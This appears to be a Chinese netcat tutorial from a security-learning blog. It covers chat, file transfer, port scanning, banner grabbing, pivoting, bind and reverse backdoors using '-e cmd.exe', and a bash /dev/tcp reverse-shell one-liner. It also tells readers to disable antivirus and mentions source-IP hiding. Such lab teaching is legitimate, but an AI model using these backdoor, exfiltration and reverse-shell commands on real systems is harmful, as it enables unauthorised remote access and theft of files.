目录
netcat简介
在网络中有瑞士军刀美誉的netcat,在我们用了N年后依然爱不释手,这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。
**nc下载地址:**https://eternallybored.org/misc/netcat/
**注意:**这里下载的时候会报出包含病毒,关闭杀毒软件忽略即可
nc的使用场景
**解释:**客户端连接服务器会被防火墙阻止,但是服务器访问客户端不会被防火墙拦截;因此可以把服务器作为nc客户端,客户端电脑作为nc服务端来进行连接
nc实现通信
创建一个服务端
**语法:**nc -l -p 端口
参数:
- -l:监听模式
- -p:监听的端口
**解释:**创建一个nc服务端用来监听该服务端端口的连接状态
创建一个客户端
**语法:**nc 要连接的服务端IP地址 要连接的服务端端口
**解释:**创建一个客户端用来连接特定服务端
具体案例
环境
- **win10客户机:**使用桥接模式(IP地址:192.168.1.22)
- **win7客户机:**使用nat模式(IP地址:192.168.126.155)
**注意:**win7有网关,处于内网环境,可以连接桥接的win10
win10在具体路径下执行命令
win7在具体路径下执行命令
**结果:**就可以在命令行相互通信了
netcat文件传输
nc文件传输的利用
- **取证:**当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证的误差
- **获取目标机器上的敏感文件:**当目标机器上有一些文件内容无法正常下载时,可以利用nc进行文件传输
**注意:**nc中的数据传输使用的是标准输入、输出流,所以可以直接利用命令来进行操作
服务器等待接收文件
**语法:**nc -l -p 本地端口 > 服务器本地文件名
**解释:**将服务器接收的文件内容输出到文件中
客户端向服务器发送文件
**语法:**nc 服务器IP地址 服务器端口 < 客户端的文件名
**解释:**将客户端内的具体文件发送到服务器中
服务器向连接的客户端发送文件
**语法:**nc -l -p 本地端口 < 服务器本地文件名
客户端向服务器接收文件
**语法:**nc 服务器IP地址 服务器端口 > 文件名
netcat的信息探测
端口扫描
**命令:**nc -v -n -z -w1 目标IP 起始端口号-中止的端口号
参数
- **-v:**对错误进行详细的输出
- **-n:**不对目标机器进行DNS解析
- **-z:**zero I/O模式,专门用于端口扫描;表示对目标IP发送的数据表中不包含任何的payload,这样做可以加快扫描速度
- **-w1:**超时设置为1s
banner抓取
**语法:**echo "" | nc -v -n -w1 目标IP 起始端口-结束端口
**注意:**通过banner信息就可以获取目标机器上的某些信息(操作系统)
netcat建立后门
**前言:**netcat的一切数据都是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的建立,并传输结果信息
建立监听后门
创建一个服务器端
**语法:**nc -l -p 本地端口 -e cmd.exe
注意:-e表示连接之后要返回给连接端对应的程序
创建一个客户端
**语法:**nc 服务器IP地址 服务器端口
**结果:**在客户端返回服务端的cmd(linux中使用的是bash)
建立连接型后门
创建一个服务端
**语法:**nc -l -p 本地端口
创建一个客户端
**语法:**nc 服务端IP地址 服务端端口 -e cmd.exe
**理解:**当客户端连接服务器时就会把客户端的cmd返回给服务器
netcat的命令参数介绍
**查看nc命令参数:**nc -h
参数
- **-d:**脱离命令行窗口,在后台运行
- **-e:**执行某个程序,常用于后门建立过程
- **-G gateway:**设置网关,常用于突破内网限制
- **-g num:**表示路由的跳数
- **-i sec:**设置发送每一行数据的时间间隔,单位s
- **-l:**设置netcat处于监听状态,等待连接
- **-L:**设置netcat处于监听状态,等待连接(当客户端断开,服务端依旧回到等待状态)
- **-n:**设置netcat只是识别IP地址,不进行dns解析
- **-o:**设置传输16进制的数据
- **-p:**设置本地监听的端口号
- **-r:**设置netcat随机化的端口号
- **-s:**用于设置netcat的源地址(用于隐藏自己IP)
- **-t:**回复telnet的请求数据包
- **-u:**设置netcat使用udp方式
- **-v:**显示错误提示信息
- **-w secs:**用来设置连接超时秒数
- **-z:**设置扫描模式,表示发送的数据包不包含任何payload
**注意:**netcat的所有请求默认都是使用TCP协议
netcat连接转发
前言
**理解:**两台服务器可以互相访问,一台笔记本仅可以与右边的服务器进行相互访问,此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发
连接转发案例
环境配置
- **win10物理机:**用作转发服务器,IP地址为192.168.1.22
- **win7:**用作内网服务器,nat模式,IP地址为192.168.126.155
- **kail:**用作外面客户端,桥接模式
win7目标机创建服务
**执行:**nc.exe -l -p 2222
win10内创建脚本文件
**注意:**里面填的是要连接的目的ip与端口(win10必须能够与该服务器相互连接)
**执行:**nc.exe -l -p 3333 -e delay.bat
**理解:**连接win10的3333端口就会执行delay.bat脚本文件。
kail借助win10连接win7
**执行:**nc 192.168.1.22 3333
**结果:**执行该命令后就会与win7连接
netcat反弹shell
**前言:**某些情况下拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat就需要此功能
PC接收netcat命令
**语法:**nc -lvp 本地端口
linux内反弹shell
**语法:**bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1
解释:
- 在命令行中bash -i表示交互模式运行bash shell。重定向符>&,若在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而若其后是文件,则将bash -i交互模式传递给文件。
- 文件描述符(0:标准输入,1:标准输出,2:错误输入输出)命令中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容